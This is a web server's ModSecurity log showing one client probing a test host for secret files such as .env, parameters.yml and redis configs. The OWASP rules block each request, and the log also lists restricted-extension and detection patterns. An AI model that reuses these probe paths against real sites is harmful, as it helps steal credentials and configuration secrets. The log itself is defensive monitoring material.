[Thu Jul 10 08:35:55.556006 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.csproj&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXCgAAAAU&quot;]
[Thu Jul 10 08:35:55.638547 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDAAAAAU&quot;]
[Thu Jul 10 08:35:55.638787 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDAAAAAU&quot;]
[Thu Jul 10 08:35:55.638972 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDAAAAAU&quot;]
[Thu Jul 10 08:35:55.679055 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDQAAAAU&quot;]
[Thu Jul 10 08:35:55.679447 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDQAAAAU&quot;]
[Thu Jul 10 08:35:55.679671 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDQAAAAU&quot;]
[Thu Jul 10 08:35:55.722527 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDgAAAAU&quot;]
[Thu Jul 10 08:35:55.722770 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDgAAAAU&quot;]
[Thu Jul 10 08:35:55.722981 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDgAAAAU&quot;]
[Thu Jul 10 08:35:55.772753 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/fixtures/app_types/node/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDwAAAAU&quot;]
[Thu Jul 10 08:35:55.773007 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDwAAAAU&quot;]
[Thu Jul 10 08:35:55.773246 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/fixtures/app_types/node/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXDwAAAAU&quot;]
[Thu Jul 10 08:35:55.823518 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXEQAAAAU&quot;]
[Thu Jul 10 08:35:55.823767 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXEQAAAAU&quot;]
[Thu Jul 10 08:35:55.823961 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXEQAAAAU&quot;]
[Thu Jul 10 08:35:55.846539 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXEgAAAAU&quot;]
[Thu Jul 10 08:35:55.846792 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXEgAAAAU&quot;]
[Thu Jul 10 08:35:55.846986 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aG9fS7wmNPsrpCjDVcoXEgAAAAU&quot;]
[Thu Jul 10 08:35:56.031460 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFAAAAAU&quot;]
[Thu Jul 10 08:35:56.031712 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFAAAAAU&quot;]
[Thu Jul 10 08:35:56.031910 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFAAAAAU&quot;]
[Thu Jul 10 08:35:56.066877 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redis-*.conf&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFQAAAAU&quot;]
[Thu Jul 10 08:35:56.067234 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redis-*.conf&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFQAAAAU&quot;]
[Thu Jul 10 08:35:56.067511 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redis-*.conf&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFQAAAAU&quot;]
[Thu Jul 10 08:35:56.115414 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /legal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFgAAAAU&quot;]
[Thu Jul 10 08:35:56.115671 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFgAAAAU&quot;]
[Thu Jul 10 08:35:56.115885 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFgAAAAU&quot;]
[Thu Jul 10 08:35:56.197317 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFwAAAAU&quot;]
[Thu Jul 10 08:35:56.197592 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFwAAAAU&quot;]
[Thu Jul 10 08:35:56.197852 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXFwAAAAU&quot;]
[Thu Jul 10 08:35:56.393630 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aG9fTLwmNPsrpCjDVcoXGAAAAAU&quot;]
